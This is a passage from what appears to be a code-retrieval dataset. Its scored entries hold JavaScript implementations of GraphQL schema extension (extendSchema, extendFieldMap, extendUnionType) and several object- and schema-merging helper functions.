newFieldMap[fieldName] = astBuilder.buildInputField(field);\n }\n } catch (err) {\n _didIteratorError3 = true;\n _iteratorError3 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion3 && _iterator3.return != null) {\n _iterator3.return();\n }\n } finally {\n if (_didIteratorError3) {\n throw _iteratorError3;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError2 = true;\n _iteratorError2 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion2 && _iterator2.return != null) {\n _iterator2.return();\n }\n } finally {\n if (_didIteratorError2) {\n throw _iteratorError2;\n }\n }\n }\n }\n\n return newFieldMap;\n }\n\n function extendEnumType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLEnumType({\n name: name,\n description: type.description,\n values: extendValueMap(type),\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendValueMap(type) {\n var newValueMap = Object.create(null);\n var oldValueMap = (0, _keyMap.default)(type.getValues(), function (value) {\n return value.name;\n });\n\n var _arr2 = Object.keys(oldValueMap);\n\n for (var _i3 = 0; _i3 < _arr2.length; _i3++) {\n var _valueName = _arr2[_i3];\n var _value = oldValueMap[_valueName];\n newValueMap[_valueName] = {\n name: _value.name,\n description: _value.description,\n value: _value.value,\n deprecationReason: _value.deprecationReason,\n astNode: _value.astNode\n };\n } // If there are any extensions to the values, apply those here.\n\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion4 = true;\n var _didIteratorError4 = false;\n var _iteratorError4 = undefined;\n\n try {\n for (var _iterator4 = extensions[Symbol.iterator](), _step4; !(_iteratorNormalCompletion4 = (_step4 = _iterator4.next()).done); _iteratorNormalCompletion4 = true) {\n var extension = _step4.value;\n var _iteratorNormalCompletion5 = true;\n var _didIteratorError5 = false;\n var _iteratorError5 = undefined;\n\n try {\n for (var _iterator5 = extension.values[Symbol.iterator](), _step5; !(_iteratorNormalCompletion5 = (_step5 = _iterator5.next()).done); _iteratorNormalCompletion5 = true) {\n var value = _step5.value;\n var valueName = value.name.value;\n\n if (oldValueMap[valueName]) {\n throw new _GraphQLError.GraphQLError(\"Enum value \\\"\".concat(type.name, \".\").concat(valueName, \"\\\" already exists in the \") + 'schema. It cannot also be defined in this type extension.', [value]);\n }\n\n newValueMap[valueName] = astBuilder.buildEnumValue(value);\n }\n } catch (err) {\n _didIteratorError5 = true;\n _iteratorError5 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion5 && _iterator5.return != null) {\n _iterator5.return();\n }\n } finally {\n if (_didIteratorError5) {\n throw _iteratorError5;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError4 = true;\n _iteratorError4 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion4 && _iterator4.return != null) {\n _iterator4.return();\n }\n } finally {\n if (_didIteratorError4) {\n throw _iteratorError4;\n }\n }\n }\n }\n\n return newValueMap;\n }\n\n function extendScalarType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLScalarType({\n name: name,\n description: type.description,\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n serialize: type.serialize,\n parseValue: type.parseValue,\n parseLiteral: type.parseLiteral\n });\n }\n\n function extendObjectType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLObjectType({\n name: name,\n description: type.description,\n interfaces: function interfaces() {\n return extendImplementedInterfaces(type);\n },\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n isTypeOf: type.isTypeOf\n });\n }\n\n function extendArgs(args) {\n return (0, _keyValMap.default)(args, function (arg) {\n return arg.name;\n }, function (arg) {\n return {\n type: extendType(arg.type),\n defaultValue: arg.defaultValue,\n description: arg.description,\n astNode: arg.astNode\n };\n });\n }\n\n function extendInterfaceType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLInterfaceType({\n name: type.name,\n description: type.description,\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n resolveType: type.resolveType\n });\n }\n\n function extendUnionType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLUnionType({\n name: name,\n description: type.description,\n types: function types() {\n return extendPossibleTypes(type);\n },\n astNode: type.astNode,\n resolveType: type.resolveType,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendPossibleTypes(type) {\n var possibleTypes = type.getTypes().map(extendNamedType); // If there are any extensions to the union, apply those here.\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion6 = true;\n var _didIteratorError6 = false;\n var _iteratorError6 = undefined;\n\n try {\n for (var _iterator6 = extensions[Symbol.iterator](), _step6; !(_iteratorNormalCompletion6 = (_step6 = _iterator6.next()).done); _iteratorNormalCompletion6 = true) {\n var extension = _step6.value;\n var _iteratorNormalCompletion7 = true;\n var _didIteratorError7 = false;\n var _iteratorError7 = undefined;\n\n try {\n for (var _iterator7 = extension.types[Symbol.iterator](), _step7; !(_iteratorNormalCompletion7 = (_step7 = _iterator7.next()).done); _iteratorNormalCompletion7 = true) {\n var namedType = _step7.value; // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n\n possibleTypes.push(astBuilder.buildType(namedType));\n }\n } catch (err) {\n _didIteratorError7 = true;\n _iteratorError7 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion7 && _iterator7.return != null) {\n _iterator7.return();\n }\n } finally {\n if (_didIteratorError7) {\n throw _iteratorError7;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError6 = true;\n _iteratorError6 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion6 && _iterator6.return != null) {\n _iterator6.return();\n }\n } finally {\n if (_didIteratorError6) {\n throw _iteratorError6;\n }\n }\n }\n }\n\n return possibleTypes;\n }\n\n function extendImplementedInterfaces(type) {\n var interfaces = type.getInterfaces().map(extendNamedType); // If there are any extensions to the interfaces, apply those here.\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion8 = true;\n var _didIteratorError8 = false;\n var _iteratorError8 = undefined;\n\n try {\n for (var _iterator8 = extensions[Symbol.iterator](), _step8; !(_iteratorNormalCompletion8 = (_step8 = _iterator8.next()).done); _iteratorNormalCompletion8 = true) {\n var extension = _step8.value;\n var _iteratorNormalCompletion9 = true;\n var _didIteratorError9 = false;\n var _iteratorError9 = undefined;\n\n try {\n for (var _iterator9 = extension.interfaces[Symbol.iterator](), _step9; !(_iteratorNormalCompletion9 = (_step9 = _iterator9.next()).done); _iteratorNormalCompletion9 = true) {\n var namedType = _step9.value; // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n\n interfaces.push(astBuilder.buildType(namedType));\n }\n } catch (err) {\n _didIteratorError9 = true;\n _iteratorError9 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion9 && _iterator9.return != null) {\n _iterator9.return();\n }\n } finally {\n if (_didIteratorError9) {\n throw _iteratorError9;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError8 = true;\n _iteratorError8 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion8 && _iterator8.return != null) {\n _iterator8.return();\n }\n } finally {\n if (_didIteratorError8) {\n throw _iteratorError8;\n }\n }\n }\n }\n\n return interfaces;\n }\n\n function extendFieldMap(type) {\n var newFieldMap = Object.create(null);\n var oldFieldMap = type.getFields();\n\n var _arr3 = Object.keys(oldFieldMap);\n\n for (var _i4 = 0; _i4 < _arr3.length; _i4++) {\n var _fieldName2 = _arr3[_i4];\n var _field2 = oldFieldMap[_fieldName2];\n newFieldMap[_fieldName2] = {\n description: _field2.description,\n deprecationReason: _field2.deprecationReason,\n type: extendType(_field2.type),\n args: extendArgs(_field2.args),\n astNode: _field2.astNode,\n resolve: _field2.resolve\n };\n } // If there are any extensions to the fields, apply those here.\n\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion10 = true;\n var _didIteratorError10 = false;\n var _iteratorError10 = undefined;\n\n try {\n for (var _iterator10 = extensions[Symbol.iterator](), _step10; !(_iteratorNormalCompletion10 = (_step10 = _iterator10.next()).done); _iteratorNormalCompletion10 = true) {\n var extension = _step10.value;\n var _iteratorNormalCompletion11 = true;\n var _didIteratorError11 = false;\n var _iteratorError11 = undefined;\n\n try {\n for (var _iterator11 = extension.fields[Symbol.iterator](), _step11; !(_iteratorNormalCompletion11 = (_step11 = _iterator11.next()).done); _iteratorNormalCompletion11 = true) {\n var field = _step11.value;\n var fieldName = field.name.value;\n\n if (oldFieldMap[fieldName]) {\n throw new _GraphQLError.GraphQLError(\"Field \\\"\".concat(type.name, \".\").concat(fieldName, \"\\\" already exists in the \") + 'schema. It cannot also be defined in this type extension.', [field]);\n }\n\n newFieldMap[fieldName] = astBuilder.buildField(field);\n }\n } catch (err) {\n _didIteratorError11 = true;\n _iteratorError11 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion11 && _iterator11.return != null) {\n _iterator11.return();\n }\n } finally {\n if (_didIteratorError11) {\n throw _iteratorError11;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError10 = true;\n _iteratorError10 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion10 && _iterator10.return != null) {\n _iterator10.return();\n }\n } finally {\n if (_didIteratorError10) {\n throw _iteratorError10;\n }\n }\n }\n }\n\n return newFieldMap;\n }\n\n function extendType(typeDef) {\n if ((0, _definition.isListType)(typeDef)) {\n return (0, _definition.GraphQLList)(extendType(typeDef.ofType));\n }\n\n if ((0, _definition.isNonNullType)(typeDef)) {\n return (0, _definition.GraphQLNonNull)(extendType(typeDef.ofType));\n }\n\n return extendNamedType(typeDef);\n }\n}", "title": "" }, { "docid": "cbf654a1a079664d8dce8d149cb62c55", "score": "0.49089834", "text": "function merge(s1, s2) {\n for (var key in s2) {\n if (tipe(s1) !== 'object') s1 = {}\n if (tipe(s2[key]) === 'object') {\n s1[key] = merge(s1[key], s2[key])\n }\n else {\n if (tipe(s1[key]) === 'array' && tipe(s2[key]) === 'array') {\n s1[key] = s1[key].concat(s2[key])\n }\n else s1[key] = s2[key]\n }\n }\n return s1\n }", "title": "" }, { "docid": "94f1af2985ca0bdeb92ded2d37bb1843", "score": "0.4884164", "text": "function merge (a, b) {\n b.forEach(function (doc) {\n if (a.indexOf(doc) === -1)\n a.push(doc);\n });\n\n return a;\n}", "title": "" }, { "docid": "54fef18f4c0fc776c517c2fac042ebee", "score": "0.48836803", "text": "function extendSchema(schema, documentAST, options) {\n\t !isSchema(schema) ? invariant(0, 'Must provide valid GraphQLSchema') : void 0;\n\n\t !(documentAST && documentAST.kind === Kind.DOCUMENT) ? invariant(0, 'Must provide valid Document AST') : void 0;\n\n\t // Collect the type definitions and extensions found in the document.\n\t var typeDefinitionMap = Object.create(null);\n\t var typeExtensionsMap = Object.create(null);\n\n\t // New directives and types are separate because a directives and types can\n\t // have the same name. For example, a type named \"skip\".\n\t var directiveDefinitions = [];\n\n\t for (var i = 0; i < documentAST.definitions.length; i++) {\n\t var def = documentAST.definitions[i];\n\t switch (def.kind) {\n\t case Kind.OBJECT_TYPE_DEFINITION:\n\t case Kind.INTERFACE_TYPE_DEFINITION:\n\t case Kind.ENUM_TYPE_DEFINITION:\n\t case Kind.UNION_TYPE_DEFINITION:\n\t case Kind.SCALAR_TYPE_DEFINITION:\n\t case Kind.INPUT_OBJECT_TYPE_DEFINITION:\n\t // Sanity check that none of the defined types conflict with the\n\t // schema's existing types.\n\t var typeName = def.name.value;\n\t if (schema.getType(typeName)) {\n\t throw new GraphQLError('Type \"' + typeName + '\" already exists in the schema. It cannot also ' + 'be defined in this type definition.', [def]);\n\t }\n\t typeDefinitionMap[typeName] = def;\n\t break;\n\t case Kind.OBJECT_TYPE_EXTENSION:\n\t // Sanity check that this type extension exists within the\n\t // schema's existing types.\n\t var extendedTypeName = def.name.value;\n\t var existingType = schema.getType(extendedTypeName);\n\t if (!existingType) {\n\t throw new GraphQLError('Cannot extend type \"' + extendedTypeName + '\" because it does not ' + 'exist in the existing schema.', [def]);\n\t }\n\t if (!isObjectType(existingType)) {\n\t throw new GraphQLError('Cannot extend non-object type \"' + extendedTypeName + '\".', [def]);\n\t }\n\t var extensions = typeExtensionsMap[extendedTypeName];\n\t if (extensions) {\n\t extensions.push(def);\n\t } else {\n\t extensions = [def];\n\t }\n\t typeExtensionsMap[extendedTypeName] = extensions;\n\t break;\n\t case Kind.DIRECTIVE_DEFINITION:\n\t var directiveName = def.name.value;\n\t var existingDirective = schema.getDirective(directiveName);\n\t if (existingDirective) {\n\t throw new GraphQLError('Directive \"' + directiveName + '\" already exists in the schema. It ' + 'cannot be redefined.', [def]);\n\t }\n\t directiveDefinitions.push(def);\n\t break;\n\t case Kind.SCALAR_TYPE_EXTENSION:\n\t case Kind.INTERFACE_TYPE_EXTENSION:\n\t case Kind.UNION_TYPE_EXTENSION:\n\t case Kind.ENUM_TYPE_EXTENSION:\n\t case Kind.INPUT_OBJECT_TYPE_EXTENSION:\n\t throw new Error('The ' + def.kind + ' kind is not yet supported by extendSchema().');\n\t }\n\t }\n\n\t // If this document contains no new types, extensions, or directives then\n\t // return the same unmodified GraphQLSchema instance.\n\t if (Object.keys(typeExtensionsMap).length === 0 && Object.keys(typeDefinitionMap).length === 0 && directiveDefinitions.length === 0) {\n\t return schema;\n\t }\n\n\t var definitionBuilder = new ASTDefinitionBuilder(typeDefinitionMap, options, function (typeName, node) {\n\t var existingType = schema.getType(typeName);\n\t if (existingType) {\n\t return extendType(existingType);\n\t }\n\n\t if (node) {\n\t throw new GraphQLError('Unknown type: \"' + typeName + '\". Ensure that this type exists ' + 'either in the original schema, or is added in a type definition.', [node]);\n\t }\n\t throw GraphQLError('Missing type from schema');\n\t });\n\n\t // Get the root Query, Mutation, and Subscription object types.\n\t // Note: While this could make early assertions to get the correctly\n\t // typed values below, that would throw immediately while type system\n\t // validation with validateSchema() will produce more actionable results.\n\t var existingQueryType = schema.getQueryType();\n\t var queryType = existingQueryType ? definitionBuilder.buildType(existingQueryType.name) : null;\n\n\t var existingMutationType = schema.getMutationType();\n\t var mutationType = existingMutationType ? definitionBuilder.buildType(existingMutationType.name) : null;\n\n\t var existingSubscriptionType = schema.getSubscriptionType();\n\t var subscriptionType = existingSubscriptionType ? definitionBuilder.buildType(existingSubscriptionType.name) : null;\n\n\t // Iterate through all types, getting the type definition for each, ensuring\n\t // that any type not directly referenced by a field will get created.\n\t var typeMap = schema.getTypeMap();\n\t var types = Object.keys(typeMap).map(function (typeName) {\n\t return definitionBuilder.buildType(typeName);\n\t });\n\n\t // Do the same with new types, appending to the list of defined types.\n\t Object.keys(typeDefinitionMap).forEach(function (typeName) {\n\t types.push(definitionBuilder.buildType(typeName));\n\t });\n\n\t // Then produce and return a Schema with these types.\n\t return new GraphQLSchema({\n\t query: queryType,\n\t mutation: mutationType,\n\t subscription: subscriptionType,\n\t types: types,\n\t directives: getMergedDirectives(),\n\t astNode: schema.astNode,\n\t allowedLegacyNames: schema.__allowedLegacyNames && schema.__allowedLegacyNames.slice()\n\t });\n\n\t // Below are functions used for producing this schema that have closed over\n\t // this scope and have access to the schema, cache, and newly defined types.\n\n\t function getMergedDirectives() {\n\t var existingDirectives = schema.getDirectives();\n\t !existingDirectives ? invariant(0, 'schema must have default directives') : void 0;\n\n\t var newDirectives = directiveDefinitions.map(function (directiveNode) {\n\t return definitionBuilder.buildDirective(directiveNode);\n\t });\n\t return existingDirectives.concat(newDirectives);\n\t }\n\n\t function getTypeFromDef(typeDef) {\n\t var type = definitionBuilder.buildType(typeDef.name);\n\t return type;\n\t }\n\n\t // Given a type's introspection result, construct the correct\n\t // GraphQLType instance.\n\t function extendType(type) {\n\t if (isObjectType(type)) {\n\t return extendObjectType(type);\n\t }\n\t if (isInterfaceType(type)) {\n\t return extendInterfaceType(type);\n\t }\n\t if (isUnionType(type)) {\n\t return extendUnionType(type);\n\t }\n\t return type;\n\t }\n\n\t function extendObjectType(type) {\n\t var name = type.name;\n\t var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n\t return new GraphQLObjectType({\n\t name: name,\n\t description: type.description,\n\t interfaces: function interfaces() {\n\t return extendImplementedInterfaces(type);\n\t },\n\t fields: function fields() {\n\t return extendFieldMap(type);\n\t },\n\t astNode: type.astNode,\n\t extensionASTNodes: extensionASTNodes,\n\t isTypeOf: type.isTypeOf\n\t });\n\t }\n\n\t function extendInterfaceType(type) {\n\t return new GraphQLInterfaceType({\n\t name: type.name,\n\t description: type.description,\n\t fields: function fields() {\n\t return extendFieldMap(type);\n\t },\n\t astNode: type.astNode,\n\t resolveType: type.resolveType\n\t });\n\t }\n\n\t function extendUnionType(type) {\n\t return new GraphQLUnionType({\n\t name: type.name,\n\t description: type.description,\n\t types: type.getTypes().map(getTypeFromDef),\n\t astNode: type.astNode,\n\t resolveType: type.resolveType\n\t });\n\t }\n\n\t function extendImplementedInterfaces(type) {\n\t var interfaces = type.getInterfaces().map(getTypeFromDef);\n\n\t // If there are any extensions to the interfaces, apply those here.\n\t var extensions = typeExtensionsMap[type.name];\n\t if (extensions) {\n\t extensions.forEach(function (extension) {\n\t extension.interfaces.forEach(function (namedType) {\n\t // Note: While this could make early assertions to get the correctly\n\t // typed values, that would throw immediately while type system\n\t // validation with validateSchema() will produce more actionable results.\n\t interfaces.push(definitionBuilder.buildType(namedType));\n\t });\n\t });\n\t }\n\n\t return interfaces;\n\t }\n\n\t function extendFieldMap(type) {\n\t var newFieldMap = Object.create(null);\n\t var oldFieldMap = type.getFields();\n\t Object.keys(oldFieldMap).forEach(function (fieldName) {\n\t var field = oldFieldMap[fieldName];\n\t newFieldMap[fieldName] = {\n\t description: field.description,\n\t deprecationReason: field.deprecationReason,\n\t type: extendFieldType(field.type),\n\t args: keyMap(field.args, function (arg) {\n\t return arg.name;\n\t }),\n\t astNode: field.astNode,\n\t resolve: field.resolve\n\t };\n\t });\n\n\t // If there are any extensions to the fields, apply those here.\n\t var extensions = typeExtensionsMap[type.name];\n\t if (extensions) {\n\t extensions.forEach(function (extension) {\n\t extension.fields.forEach(function (field) {\n\t var fieldName = field.name.value;\n\t if (oldFieldMap[fieldName]) {\n\t throw new GraphQLError('Field \"' + type.name + '.' + fieldName + '\" already exists in the ' + 'schema. It cannot also be defined in this type extension.', [field]);\n\t }\n\t newFieldMap[fieldName] = definitionBuilder.buildField(field);\n\t });\n\t });\n\t }\n\n\t return newFieldMap;\n\t }\n\n\t function extendFieldType(typeDef) {\n\t if (isListType(typeDef)) {\n\t return GraphQLList(extendFieldType(typeDef.ofType));\n\t }\n\t if (isNonNullType(typeDef)) {\n\t return GraphQLNonNull(extendFieldType(typeDef.ofType));\n\t }\n\t return getTypeFromDef(typeDef);\n\t }\n\t}", "title": "" }, { "docid": "6d76f2905cee696511f8d7a692484f03", "score": "0.4878745", "text": "function mergeInstance(target, source) {\n lodash.extend(target, lodash.cloneDeep(source));\n }", "title": "" }, { "docid": "136042edf67e370f80c1f572dfaba25d", "score": "0.48773625", "text": "function SchemaExtend () {\n\tvar self=this;\n\n\tthis.extend = function (toExtend,extendBy){\n\t\tvar retval={};\n\t\tObject.getOwnPropertyNames(toExtend).map(function(prop){\n\t\t\tretval[prop]= toExtend[prop];\n\t\t});\n\n\t\tObject.getOwnPropertyNames(extendBy).map(function(prop){\n\t\t\t\tvar value=extendBy[prop];\n\t\t\t\tswitch(typeof value){\n\n\t\t\t\t\tcase 'object':\n\t\t\t\t\t\tvar v1=toExtend[prop];\n\t\t\t\t\t\tif (value && typeof v1 == 'object' && !Array.isArray(value)){\n\t\t\t\t\t\t\tretval[prop]= self.extend( v1 , value);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\tretval[prop]=value;\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tretval[prop]=value;\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t}\n\t\t});\n\t\treturn retval;\n\t};\n}", "title": "" }, { "docid": "ffeb3165cfa000548f730791986080d8", "score": "0.48730093", "text": "async function loadSchema(schemaPointers, options) {\n const sources = await loadTypedefs(schemaPointers, {\n filterKinds: OPERATION_KINDS,\n ...options,\n });\n const { schemas, typeDefs } = collectSchemasAndTypeDefs(sources);\n const mergeSchemasOptions = {\n schemas,\n typeDefs,\n ...options,\n };\n const schema = await merge.mergeSchemasAsync(mergeSchemasOptions);\n if (options === null || options === void 0 ? void 0 : options.includeSources) {\n includeSources(schema, sources);\n }\n return schema;\n}", "title": "" }, { "docid": "7e6d7bbbc92eb3c8d17d9e78c287676f", "score": "0.48546883", "text": "async function mergeSchemasAsync(config) {\n const [typeDefs, resolvers, extensions] = await Promise.all([\n mergeTypes(config),\n Promise.all(config.schemas.map(async (schema) => utils.getResolversFromSchema(schema))).then(extractedResolvers => mergeResolvers([...extractedResolvers, ...ensureResolvers(config)], config)),\n Promise.all(config.schemas.map(async (schema) => extractExtensionsFromSchema(schema))).then(extractedExtensions => mergeExtensions(extractedExtensions)),\n ]);\n return makeSchema({ resolvers, typeDefs, extensions }, config);\n}", "title": "" }, { "docid": "b86779fbb229873c866b3851e5a06e38", "score": "0.48539004", "text": "function extendSchema(schema, documentAST, options) {\n !(0, _schema.isSchema)(schema) ? (0, _invariant2.default)(0, 'Must provide valid GraphQLSchema') : void 0;\n\n !(documentAST && documentAST.kind === _kinds.Kind.DOCUMENT) ? (0, _invariant2.default)(0, 'Must provide valid Document AST') : void 0;\n\n // Collect the type definitions and extensions found in the document.\n var typeDefinitionMap = Object.create(null);\n var typeExtensionsMap = Object.create(null);\n\n // New directives and types are separate because a directives and types can\n // have the same name. For example, a type named \"skip\".\n var directiveDefinitions = [];\n\n for (var i = 0; i < documentAST.definitions.length; i++) {\n var def = documentAST.definitions[i];\n switch (def.kind) {\n case _kinds.Kind.OBJECT_TYPE_DEFINITION:\n case _kinds.Kind.INTERFACE_TYPE_DEFINITION:\n case _kinds.Kind.ENUM_TYPE_DEFINITION:\n case _kinds.Kind.UNION_TYPE_DEFINITION:\n case _kinds.Kind.SCALAR_TYPE_DEFINITION:\n case _kinds.Kind.INPUT_OBJECT_TYPE_DEFINITION:\n // Sanity check that none of the defined types conflict with the\n // schema's existing types.\n var typeName = def.name.value;\n if (schema.getType(typeName)) {\n throw new _GraphQLError.GraphQLError('Type \"' + typeName + '\" already exists in the schema. It cannot also ' + 'be defined in this type definition.', [def]);\n }\n typeDefinitionMap[typeName] = def;\n break;\n case _kinds.Kind.OBJECT_TYPE_EXTENSION:\n case _kinds.Kind.INTERFACE_TYPE_EXTENSION:\n // Sanity check that this type extension exists within the\n // schema's existing types.\n var extendedTypeName = def.name.value;\n var existingType = schema.getType(extendedTypeName);\n if (!existingType) {\n throw new _GraphQLError.GraphQLError('Cannot extend type \"' + extendedTypeName + '\" because it does not ' + 'exist in the existing schema.', [def]);\n }\n checkExtensionNode(existingType, def);\n\n var existingTypeExtensions = typeExtensionsMap[extendedTypeName];\n typeExtensionsMap[extendedTypeName] = existingTypeExtensions ? existingTypeExtensions.concat([def]) : [def];\n break;\n case _kinds.Kind.DIRECTIVE_DEFINITION:\n var directiveName = def.name.value;\n var existingDirective = schema.getDirective(directiveName);\n if (existingDirective) {\n throw new _GraphQLError.GraphQLError('Directive \"' + directiveName + '\" already exists in the schema. It ' + 'cannot be redefined.', [def]);\n }\n directiveDefinitions.push(def);\n break;\n case _kinds.Kind.SCALAR_TYPE_EXTENSION:\n case _kinds.Kind.UNION_TYPE_EXTENSION:\n case _kinds.Kind.ENUM_TYPE_EXTENSION:\n case _kinds.Kind.INPUT_OBJECT_TYPE_EXTENSION:\n throw new Error('The ' + def.kind + ' kind is not yet supported by extendSchema().');\n }\n }\n\n // If this document contains no new types, extensions, or directives then\n // return the same unmodified GraphQLSchema instance.\n if (Object.keys(typeExtensionsMap).length === 0 && Object.keys(typeDefinitionMap).length === 0 && directiveDefinitions.length === 0) {\n return schema;\n }\n\n var astBuilder = new _buildASTSchema.ASTDefinitionBuilder(typeDefinitionMap, options, function (typeRef) {\n var typeName = typeRef.name.value;\n var existingType = schema.getType(typeName);\n if (existingType) {\n return getExtendedType(existingType);\n }\n\n throw new _GraphQLError.GraphQLError('Unknown type: \"' + typeName + '\". Ensure that this type exists ' + 'either in the original schema, or is added in a type definition.', [typeRef]);\n });\n\n var extendTypeCache = Object.create(null);\n\n // Get the root Query, Mutation, and Subscription object types.\n var existingQueryType = schema.getQueryType();\n var queryType = existingQueryType ? getExtendedType(existingQueryType) : null;\n\n var existingMutationType = schema.getMutationType();\n var mutationType = existingMutationType ? getExtendedType(existingMutationType) : null;\n\n var existingSubscriptionType = schema.getSubscriptionType();\n var subscriptionType = existingSubscriptionType ? getExtendedType(existingSubscriptionType) : null;\n\n var types = [].concat((0, _objectValues2.default)(schema.getTypeMap()).map(function (type) {\n return getExtendedType(type);\n }), astBuilder.buildTypes((0, _objectValues2.default)(typeDefinitionMap)));\n\n // Support both original legacy names and extended legacy names.\n var schemaAllowedLegacyNames = schema.__allowedLegacyNames;\n var extendAllowedLegacyNames = options && options.allowedLegacyNames;\n var allowedLegacyNames = schemaAllowedLegacyNames && extendAllowedLegacyNames ? schemaAllowedLegacyNames.concat(extendAllowedLegacyNames) : schemaAllowedLegacyNames || extendAllowedLegacyNames;\n\n // Then produce and return a Schema with these types.\n return new _schema.GraphQLSchema({\n query: queryType,\n mutation: mutationType,\n subscription: subscriptionType,\n types: types,\n directives: getMergedDirectives(),\n astNode: schema.astNode,\n allowedLegacyNames: allowedLegacyNames\n });\n\n // Below are functions used for producing this schema that have closed over\n // this scope and have access to the schema, cache, and newly defined types.\n\n function getMergedDirectives() {\n var existingDirectives = schema.getDirectives();\n !existingDirectives ? (0, _invariant2.default)(0, 'schema must have default directives') : void 0;\n\n return existingDirectives.concat(directiveDefinitions.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }\n\n function getExtendedType(type) {\n if (!extendTypeCache[type.name]) {\n extendTypeCache[type.name] = extendType(type);\n }\n return extendTypeCache[type.name];\n }\n\n // To be called at most once per type. Only getExtendedType should call this.\n function extendType(type) {\n if ((0, _introspection.isIntrospectionType)(type)) {\n // Introspection types are not extended.\n return type;\n }\n if ((0, _definition.isObjectType)(type)) {\n return extendObjectType(type);\n }\n if ((0, _definition.isInterfaceType)(type)) {\n return extendInterfaceType(type);\n }\n if ((0, _definition.isUnionType)(type)) {\n return extendUnionType(type);\n }\n // This type is not yet extendable.\n return type;\n }\n\n function extendObjectType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLObjectType({\n name: name,\n description: type.description,\n interfaces: function interfaces() {\n return extendImplementedInterfaces(type);\n },\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n isTypeOf: type.isTypeOf\n });\n }\n\n function extendInterfaceType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLInterfaceType({\n name: type.name,\n description: type.description,\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n resolveType: type.resolveType\n });\n }\n\n function extendUnionType(type) {\n return new _definition.GraphQLUnionType({\n name: type.name,\n description: type.description,\n types: type.getTypes().map(getExtendedType),\n astNode: type.astNode,\n resolveType: type.resolveType\n });\n }\n\n function extendImplementedInterfaces(type) {\n var interfaces = type.getInterfaces().map(getExtendedType);\n\n // If there are any extensions to the interfaces, apply those here.\n var extensions = typeExtensionsMap[type.name];\n if (extensions) {\n extensions.forEach(function (extension) {\n extension.interfaces.forEach(function (namedType) {\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n interfaces.push(astBuilder.buildType(namedType));\n });\n });\n }\n\n return interfaces;\n }\n\n function extendFieldMap(type) {\n var newFieldMap = Object.create(null);\n var oldFieldMap = type.getFields();\n Object.keys(oldFieldMap).forEach(function (fieldName) {\n var field = oldFieldMap[fieldName];\n newFieldMap[fieldName] = {\n description: field.description,\n deprecationReason: field.deprecationReason,\n type: extendFieldType(field.type),\n args: (0, _keyMap2.default)(field.args, function (arg) {\n return arg.name;\n }),\n astNode: field.astNode,\n resolve: field.resolve\n };\n });\n\n // If there are any extensions to the fields, apply those 